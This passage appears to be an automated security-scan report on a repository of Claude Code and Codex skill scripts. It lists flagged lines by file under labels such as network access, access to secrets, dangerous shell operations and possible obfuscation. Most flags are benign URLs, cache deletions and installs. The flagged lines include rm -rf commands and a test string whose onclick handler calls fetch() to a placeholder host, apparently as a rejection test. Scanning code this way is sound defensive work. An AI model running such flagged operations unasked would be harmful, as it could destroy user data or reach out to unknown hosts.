    conv([msg('a', content=[{'type': 'tool_result', 'name': 'web_fetch', 'content': [             {'type': 'knowledge', 'title': 'T', 'url': 'http://example.com',              'text': 'body with a trailing space '}]}])]),
  • Network accessline 162
    {'type': 'knowledge', 'title': 'T', 'url': 'http://example.com',

daymade-claude-code/read-codex-history/references/codex_rollout_format.md

  • Network accessline 99
    Verified format authority: Codex [`rust-v0.160.0` rollout lineage](https://github.com/openai/codex/blob/rust-v0.160.0/codex-rs/thread-store/src/local/rollout_lineage.rs), [current rollout selection](https://github.com/openai/codex/blob/rust

daymade-claude-code/read-codex-history/scripts/_core/__init__.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/claude.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/codex.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/_core/homes.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 71
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/_core/kimi.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/_core/model.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/native_output.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/parse.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/sources.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/_core/text.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/scripts/analyze_sessions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 1926
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/find_codex_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-codex-history/scripts/list_codex_user_inputs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 234
    [Credential-related source omitted]
  • Access to secretsline 318
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/list_local_history.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 532
    [Credential-related source omitted]
  • Access to secretsline 840
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/prompt_cursor.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/read_codex_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 38
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/scripts/reconcile_codex_inputs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 383
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_analyze_sessions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 1379
    [Credential-related source omitted]
  • Access to secretsline 1417
    [Credential-related source omitted]
  • Access to secretsline 1467
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_find_codex_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 162
    exec(block, namespace)

daymade-claude-code/read-codex-history/tests/test_kimi_provider.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-codex-history/tests/test_list_codex_user_inputs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_list_local_history.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 1424
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_native_output.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/tests/test_original_record_evidence.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/tests/test_paginated_lineage.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_pre_envelope_rollout.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-codex-history/tests/test_prompt_cursor.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_read_codex_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 766
    last_agent_message=None,                 error={                     "message": "You've hit your usage limit. Visit https://chatgpt.com/codex/settings/usage to purchase more credits or try again at Aug 2nd, 2026 7:51 AM.",
  • Network accessline 767
    error={                     "message": "You've hit your usage limit. Visit https://chatgpt.com/codex/settings/usage to purchase more credits or try again at Aug 2nd, 2026 7:51 AM.",                     "codex_error_info": "usage_limit_excee
  • Network accessline 768
    "message": "You've hit your usage limit. Visit https://chatgpt.com/codex/settings/usage to purchase more credits or try again at Aug 2nd, 2026 7:51 AM.",

daymade-claude-code/read-codex-history/tests/test_reader_metadata_lookup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 281
    [Credential-related source omitted]

daymade-claude-code/read-codex-history/tests/test_reconcile_codex_inputs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 412
    def test_arbitrary_links_and_whitespace_are_not_normalized_to_force_match(self):         for original, observed in [("[$x](https://example.invalid/SKILL.md)", "$x"), (" x ", "x")]:
  • Network accessline 413
    for original, observed in [("[$x](https://example.invalid/SKILL.md)", "$x"), (" x ", "x")]:

daymade-claude-code/read-codex-history/tests/test_streaming_validation.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/statusline-generator/references/ccusage_integration.md

  • Dangerous shell operationline 129
    rm /tmp/claude_cost_cache_*.txt

daymade-claude-code/statusline-generator/references/customization.md

  • Network accessline 127
    - macOS / Linux: `~/.zshrc`, `~/.bashrc`, `~/.profile`, or `~/.config/fish/config.fish` - Per-project: `.envrc` (with [direnv](https://direnv.net/))
  • Network accessline 128
    - Per-project: `.envrc` (with [direnv](https://direnv.net/))

daymade-claude-code/statusline-generator/references/troubleshooting-decision-tree.md

  • Dangerous shell operationline 167
    - Force refresh: `rm /tmp/claude_cost_cache_*.txt` then trigger a statusline

daymade-claude-code/statusline-generator/scripts/generate_statusline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 189
    find /tmp -maxdepth 1 -name "claude_cost_cache_*.txt" -mmin +2 -delete 2>/dev/null

daymade-claude-code/statusline-generator/scripts/health_check.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 131
    rm -rf "$HC_GIT_DIR"

daymade-claude-code/statusline-generator/scripts/install_statusline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/terminal-screenshot/SKILL.md

  • Network accessline 99
    `freeze` is [charmbracelet/freeze](https://github.com/charmbracelet/freeze) — it
  • Network accessline 109
    # Option B — go install (works behind a firewall via a Go module mirror) GOPROXY=https://goproxy.cn,direct GOSUMDB=off \
  • Network accessline 110
    GOPROXY=https://goproxy.cn,direct GOSUMDB=off \

daymade-claude-code/terminal-screenshot/scripts/ansi2html.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/terminal-screenshot/scripts/render_ansi.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 47
    rm -f -- "$SHOT"
  • Dangerous shell operationline 65
    trap 'stop_chrome; rm -f -- "$SHOT"' EXIT

daymade-codex/codex-1m-context-window-setup/references/context_window_contract.md

  • Network accessline 9
    - <https://github.com/openai/codex/blob/main/codex-rs/core/config.schema.json>
  • Network accessline 10
    - <https://github.com/openai/codex/blob/main/codex-rs/app-server-protocol/src/protocol/v2/config.rs>
  • Network accessline 26
    <https://github.com/openai/codex/blob/main/codex-rs/models-manager/src/model_info.rs>
  • Network accessline 32
    <https://github.com/openai/codex/blob/main/codex-rs/core/src/session/turn_context.rs>
  • Network accessline 40
    <https://github.com/openai/codex/blob/main/codex-rs/protocol/src/openai_models.rs>
  • Network accessline 44
    <https://github.com/openai/codex/blob/main/codex-rs/core/src/session/context_window.rs>

daymade-codex/codex-1m-context-window-setup/scripts/codex_context_window.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 69
    [Credential-related source omitted]

daymade-codex/codex-1m-context-window-setup/tests/test_codex_context_window.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 333
    [Credential-related source omitted]

daymade-codex/codex-image-gallery/SKILL.md

  • Network accessline 18
    The server prints the actual URL. It starts at `http://127.0.0.1:8765/` and tries later ports if the default is occupied.
  • Network accessline 25
    node -e 'fetch("http://127.0.0.1:8765/api/images").then(r => r.json()).then(j => console.log(j.rootPath, j.items.length)).catch(() => process.exit(1))'
  • Network accessline 28
    If this succeeds, reuse the running server at `http://127.0.0.1:8765/`.
  • Network accessline 41
    node -e 'fetch("http://127.0.0.1:8765/api/images").then(r => r.json()).then(j => console.log(j.rootPath, j.items.length))'
  • Network accessline 57
    open http://127.0.0.1:8765/

daymade-codex/codex-image-gallery/assets/index.html

  • Network accessline 1277
    try {         const response = await fetch("/api/images", { cache: "no-store" });
  • Network accessline 1278
    const response = await fetch("/api/images", { cache: "no-store" });

daymade-codex/codex-image-gallery/scripts/server.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 75
    async function handler(req, res) {   const url = new URL(req.url, `http://${req.headers.host || `${HOST}:${DEFAULT_PORT}`}`);
  • Network accessline 76
    const url = new URL(req.url, `http://${req.headers.host || `${HOST}:${DEFAULT_PORT}`}`);
  • Network accessline 139
    server.listen(port, HOST, () => {     console.log(`Codex image gallery: http://${HOST}:${port}/`);
  • Network accessline 140
    console.log(`Codex image gallery: http://${HOST}:${port}/`);

daymade-codex/interaction-design-board/SKILL.md

  • Network accessline 171
    curl -sS -X POST "${BOARD_URL%/}/api/reload" \

daymade-codex/interaction-design-board/assets/design-board-template.html

  • Network accessline 390
    if (endpoint) {         try {           const response = await fetch(endpoint, {
  • Network accessline 391
    try {           const response = await fetch(endpoint, {             method: 'POST',
  • Network accessline 392
    const response = await fetch(endpoint, {

daymade-codex/interaction-design-board/references/interaction-design-method.md

  • Network accessline 51
    when users need an overview and selectively reveal related sections, but not for content all users need to see. See: https://design-system.service.gov.uk/components/accordion/
  • Network accessline 53
    https://design-system.service.gov.uk/components/accordion/
  • Network accessline 71
    or replace observation of the real product. See Nielsen Norman Group's UX research glossary: https://www.nngroup.com/articles/research-methods-glossary/
  • Network accessline 73
    https://www.nngroup.com/articles/research-methods-glossary/
  • Network accessline 95
    The W3C WAI-ARIA Authoring Practices tabs pattern is the implementation reference: https://www.w3.org/WAI/ARIA/apg/patterns/tabs/
  • Network accessline 96
    https://www.w3.org/WAI/ARIA/apg/patterns/tabs/

daymade-codex/interaction-design-board/scripts/build_board.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-codex/interaction-design-board/tests/test_build_board.py

  • Executable scriptline 1
    Executable file
  • Network accessline 106
    manifest = self.make_case(root)             (root / "a.html").write_text(                 '<!doctype html><html><head><title>A</title><style>@import "https://example.com/external.css";</style></head></html>',
  • Network accessline 107
    (root / "a.html").write_text(                 '<!doctype html><html><head><title>A</title><style>@import "https://example.com/external.css";</style></head></html>',                 encoding="utf-8",
  • Network accessline 108
    '<!doctype html><html><head><title>A</title><style>@import "https://example.com/external.css";</style></head></html>',
  • Network accessline 118
    manifest = self.make_case(root)             (root / "a.html").write_text(                 '<!doctype html><html><head><title>A</title><style>@import"https://example.com/external.css";</style></head></html>',
  • Network accessline 119
    (root / "a.html").write_text(                 '<!doctype html><html><head><title>A</title><style>@import"https://example.com/external.css";</style></head></html>',                 encoding="utf-8",
  • Network accessline 120
    '<!doctype html><html><head><title>A</title><style>@import"https://example.com/external.css";</style></head></html>',

daymade-codex/local-codex/SKILL.md

  • Dangerous shell operationline 104
    ### 1. Basic exec (single task)

daymade-codex/local-codex/references/oauth-guide.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 54
    native account and rate-limit observations for the exact execution root and ordinary CLI route. Bind the expected account across the observation; a returned `accountId` must match it. Under the inspected [native response contract](https://g
  • Network accessline 55
    ordinary CLI route. Bind the expected account across the observation; a returned `accountId` must match it. Under the inspected [native response contract](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-r
  • Network accessline 56
    `accountId` must match it. Under the inspected [native response contract](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/app-server-protocol/schema/json/v2/GetAccountRateLimitsResponse.json),
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 193
    The inspected official **0.165.0** app-server supports browser OAuth through the existing owner's `account/login/start` with `{"type":"chatgpt"}`. Its [account processor](https://github.com/openai/codex/blob/rust-v0.165.0/codex-rs/app-serve
  • Network accessline 196
    2. **Keep one original login attempt.** Before sending `account/login/start`, inspect the actual listener and its ownership at the bound callback host/port and reuse any existing callback coordination or lease; if a listener exists or its o
  • Network accessline 197
    3. **Verify adoption and continuation separately.** Require a successful completion event for that login ID, then read account → rate limits → account through the same owner and confirm its process/birth and expected account remain stable. 
  • Network accessline 198
    4. **Do not reinterpret earlier requests.** The inspected [model client](https://github.com/openai/codex/blob/rust-v0.165.0/codex-rs/core/src/client.rs) resolves current auth for later requests, rejects owner changes during setup and resets
  • Network accessline 245
    Bind an authorized refresh owner before this probe; it is a real request and can use allowance or Credit under that account's policy. For a non-file store, retain the owner's supported store binding rather than applying this file-store exam

daymade-codex/local-codex/scripts/codex_wrapper.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 241
    [Credential-related source omitted]

daymade-codex/local-codex/scripts/entry_identity.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 409
    [Credential-related source omitted]

daymade-codex/local-codex/scripts/test_codex_wrapper.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]

daymade-codex/local-codex/scripts/test_entry_identity.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 299
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]

daymade-docs/doc-to-markdown/references/benchmark-2026-03-22.md

  • Access to secretsline 35
    [Credential-related source omitted]

daymade-docs/doc-to-markdown/references/conversion-examples.md

  • Dangerous shell operationline 315
    rm "$backup"

daymade-docs/doc-to-markdown/references/tool-comparison.md

  • Network accessline 19
    [PyMuPDF 2.0 consolidates PyMuPDF4LLM](https://pymupdf.io/blog/pymupdf-2-0)

daymade-docs/doc-to-markdown/scripts/batch_html.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/convert.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/convert_path.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/extract_pdf_images.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/html_to_markdown.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 137
    if "xmlns" not in node.attrs:                 rendered = rendered.replace("<svg", '<svg xmlns="http://www.w3.org/2000/svg"', 1)
  • Network accessline 138
    rendered = rendered.replace("<svg", '<svg xmlns="http://www.w3.org/2000/svg"', 1)

daymade-docs/doc-to-markdown/scripts/merge_outputs.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/reader_pilot_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/doc-to-markdown/scripts/test_convert.py

  • Executable scriptline 1
    Executable file
  • Network accessline 30
    inp = "**打开阶跃开放平台链接**:https://platform.stepfun.com/"
  • Network accessline 175
    inp = "[[点击跳转]](https://example.com)"
  • Network accessline 177
    assert "[点击跳转](https://example.com)" in out
  • Network accessline 338
    assets = tmp_path / "assets"         assets.mkdir()         inp = "![](http://example.com/x.png) ![](local/y.png)"
  • Network accessline 339
    assets.mkdir()         inp = "![](http://example.com/x.png) ![](local/y.png)"         stats = PostProcessStats()
  • Network accessline 340
    inp = "![](http://example.com/x.png) ![](local/y.png)"

daymade-docs/doc-to-markdown/scripts/test_html_to_markdown.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 210
    svg = base64.b64decode(encoded.group(1)).decode()
  • Network accessline 214
    import xml.etree.ElementTree as ET     parsed = ET.fromstring(svg)     assert parsed.find('.//{http://www.w3.org/2000/svg}linearGradient') is not None
  • Network accessline 216
    assert parsed.find('.//{http://www.w3.org/2000/svg}linearGradient') is not None

daymade-docs/doc-to-markdown/scripts/test_reader_pilot_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 362
    (self.root / "page.md").unlink()         save(self.plan, healthy)         for source in ('<img src="https://example.invalid/image.png">', '<base href="https://example.invalid/">',
  • Network accessline 363
    save(self.plan, healthy)         for source in ('<img src="https://example.invalid/image.png">', '<base href="https://example.invalid/">',                        '<img src="../../escape.png">', '<a href="next.html">Next</a>', '<img src="mis
  • Network accessline 364
    for source in ('<img src="https://example.invalid/image.png">', '<base href="https://example.invalid/">',                        '<img src="../../escape.png">', '<a href="next.html">Next</a>', '<img src="missing.png">',                     
  • Network accessline 365
    '<img src="../../escape.png">', '<a href="next.html">Next</a>', '<img src="missing.png">',                        '<a href="#Chapter" onclick="fetch(\'https://example.invalid\')">Chapter</a>',                        '<object data="https://e
  • Network accessline 366
    '<a href="#Chapter" onclick="fetch(\'https://example.invalid\')">Chapter</a>',
  • Network accessline 367
    '<object data="https://example.invalid/figure.svg"></object>'):

daymade-docs/doc-to-markdown/scripts/validate_output.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 110
    wordprocessing_ns = 'http' + '://schemas.openxmlformats.org/wordprocessingml/2006/main'

daymade-docs/doc-to-markdown/tests/test_validate_output.py

  • Executable scriptline 1
    Executable file
  • Network accessline 60
    def test_link_labels_code_and_literal_symbols_survive(self):         result = self.compare("Read Label. x_y=-2.5; a > b",                               "Read [Label](https://example.org). `x_y=-2.5; a > b`")
  • Network accessline 61
    result = self.compare("Read Label. x_y=-2.5; a > b",                               "Read [Label](https://example.org). `x_y=-2.5; a > b`")         self.assertEqual(result.status, "pass")
  • Network accessline 62
    "Read [Label](https://example.org). `x_y=-2.5; a > b`")

daymade-docs/docs-router/tests/test_router_contract.py

  • Executable scriptline 1
    Executable file

daymade-docs/docx-creator/references/known_issues.md

  • Network accessline 326
    new CompatibilitySetting {             Name = new EnumValue<CompatSettingNameValues>(CompatSettingNameValues.CompatibilityMode),             Uri = "http://schemas.microsoft.com/office/word", Val = "15" }));
  • Network accessline 328
    Uri = "http://schemas.microsoft.com/office/word", Val = "15" }));
  • Network accessline 477
    decimal lists, and typed 1)/10) items wrapping to a second line. Ensure one marker per item and one continuation column. The Microsoft contract for the disabling value is in [NumberingId](https://learn.microsoft.com/en-us/dotnet/api/documen
  • Network accessline 479
    [NumberingId](https://learn.microsoft.com/en-us/dotnet/api/documentformat.openxml.wordprocessing.numberingid?view=openxml-3.0.1).
  • Network accessline 493
    **Verify.** Render literal `https://example.invalid`, `>>`, `...`, `#`, Chinese, and symbols

daymade-docs/docx-creator/references/verification_protocol.md

  • Dangerous shell operationline 149
    rm -rf /tmp/docxcheck && mkdir -p /tmp/docxcheck
  • Dangerous shell operationline 159
    - `rm -rf` the output directory first. Otherwise a failed conversion leaves last run's PDF in

daymade-docs/docx-creator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

daymade-docs/docx-creator/scripts/Program.cs

  • Network accessline 233
    settingsPart.Settings = new Settings(             new Compatibility(                 new CompatibilitySetting { Name = new EnumValue<CompatSettingNameValues>(CompatSettingNameValues.CompatibilityMode), Uri = "http://schemas.microsoft.com/of
  • Network accessline 235
    new CompatibilitySetting { Name = new EnumValue<CompatSettingNameValues>(CompatSettingNameValues.CompatibilityMode), Uri = "http://schemas.microsoft.com/office/word", Val = "15" }));

daymade-docs/docx-creator/scripts/word_export_pdf.applescript

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 181
    do shell script "rm -f " & quoted form of outPath

daymade-docs/excel-automation/SKILL.md

  • Network accessline 164
    MAIN_NS = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'
  • Network accessline 164
    MAIN_NS = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'
  • Network accessline 165
    REL_NS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
  • Network accessline 165
    REL_NS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
  • Network accessline 166
    RELS_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
  • Network accessline 166
    RELS_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'

daymade-docs/excel-automation/scripts/create_formatted_excel.py

  • Executable scriptline 1
    Executable file

daymade-docs/excel-automation/scripts/parse_complex_excel.py

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    MAIN_NS = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'
  • Network accessline 27
    REL_NS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
  • Network accessline 28
    RELS_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'

daymade-docs/mermaid-tools/references/setup_and_troubleshooting.md

  • Network accessline 29
    # Add Chrome repository wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
  • Dangerous shell operationline 30
    wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
  • Network accessline 30
    wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
  • Dangerous shell operationline 31
    echo "deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main" | sudo tee /etc/apt/sources.list.d/google-chrome.list
  • Network accessline 31
    echo "deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main" | sudo tee /etc/apt/sources.list.d/google-chrome.list
  • Dangerous shell operationline 34
    sudo apt update
  • Dangerous shell operationline 35
    sudo apt install -y google-chrome-stable
  • Dangerous shell operationline 38
    sudo apt install -y libgtk2.0-0 libgtk-3-0 libgbm-dev libnotify-dev libgconf-2-4 libnss3 libxss1 libasound2 libxtst6 xauth xvfb fonts-liberation libxml2-utils

daymade-docs/mermaid-tools/scripts/extract-and-generate.sh

  • Executable scriptline 1
    #!/bin/bash

daymade-docs/mermaid-tools/scripts/extract_diagrams.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/batch_convert.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/check_table_borders.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/md_to_pdf.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]

daymade-docs/pdf-creator/scripts/tests/test_backend_routing.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_cjk_code_blocks.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_cjk_tables.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_executable_copy.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_list_rendering.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_relative_images.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_self_check_preview.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 66
    [Credential-related source omitted]

daymade-docs/pdf-creator/scripts/tests/test_table_border_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-creator/scripts/tests/test_typography_lint.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-to-html/scripts/build_html.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-to-html/scripts/extract_pdf.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/pdf-to-html/scripts/verify_render.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 59
    PNG_IEND = b"\x00\x00\x00\x00IEND\xaeB`\x82"

daymade-docs/photo-to-scanned-pdf/SKILL.md

  • Network accessline 114
    uv run <skill>/scripts/photo_to_scan.py --out-dir work --prefix wb colored_photo.jpg   # no --raw uvx noteshrink -w -g -K -q -b nc -c "true" work/wb_01.jpg
  • Network accessline 114
    uv run <skill>/scripts/photo_to_scan.py --out-dir work --prefix wb colored_photo.jpg   # no --raw uvx noteshrink -w -g -K -q -b nc -c "true" work/wb_01.jpg
  • Network accessline 115
    uvx noteshrink -w -g -K -q -b nc -c "true" work/wb_01.jpg
  • Network accessline 115
    uvx noteshrink -w -g -K -q -b nc -c "true" work/wb_01.jpg

daymade-docs/photo-to-scanned-pdf/scripts/assemble_pdf.py

  • Executable scriptline 1
    Executable file

daymade-docs/photo-to-scanned-pdf/scripts/make_contact_sheet.py

  • Executable scriptline 1
    Executable file

daymade-docs/photo-to-scanned-pdf/scripts/photo_to_scan.py

  • Executable scriptline 1
    Executable file

daymade-docs/photo-to-scanned-pdf/scripts/synthesize_signature.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/read-docx-review/references/csharp-tasks-spec.md

  • Network accessline 3
    dotnet-script (.csx) 脚本,基于 [OpenXML SDK](https://github.com/dotnet/Open-XML-SDK)

daymade-docs/read-docx-review/scripts/bridge_lib/__init__.py

  • Executable scriptline 1
    Executable file

daymade-docs/read-docx-review/scripts/bridge_lib/docx_bridge_client.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]

daymade-docs/read-docx-review/scripts/compare_docx.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/read-docx-review/scripts/csharp/tasks/compare_snapshot.csx

  • Network accessline 16
    const string W = "http://schemas.openxmlformats.org/wordprocessingml/2006/main";
  • Network accessline 39
    var revisions = stories.SelectMany(s => s.root.Descendants()         .Where(e => (e.NamespaceUri == W             || e.NamespaceUri == "http://schemas.microsoft.com/office/word/2010/wordml")
  • Network accessline 40
    .Where(e => (e.NamespaceUri == W             || e.NamespaceUri == "http://schemas.microsoft.com/office/word/2010/wordml")             && (revisionNames.Contains(e.LocalName) || e.LocalName.EndsWith("Change")
  • Network accessline 41
    || e.NamespaceUri == "http://schemas.microsoft.com/office/word/2010/wordml")

daymade-docs/read-docx-review/scripts/extract_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-docs/read-docx-review/tests/test_compare_docx.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 18
    W = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 19
    R = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 29
    "endnotes": "endnotes", "comments": "comments"}     root = f'<w:document xmlns:w="{W}" xmlns:r="{R}"><w:body>{body}</w:body></w:document>'     content = '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
  • Network accessline 30
    root = f'<w:document xmlns:w="{W}" xmlns:r="{R}"><w:body>{body}</w:body></w:document>'     content = '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'     content += '<Default Extension="rels" ContentType="appli
  • Network accessline 31
    content = '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
  • Network accessline 32
    content += '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'     content += '<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessin
  • Network accessline 33
    content += '<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>'     rels = f'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relation
  • Network accessline 34
    rels = f'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
  • Network accessline 39
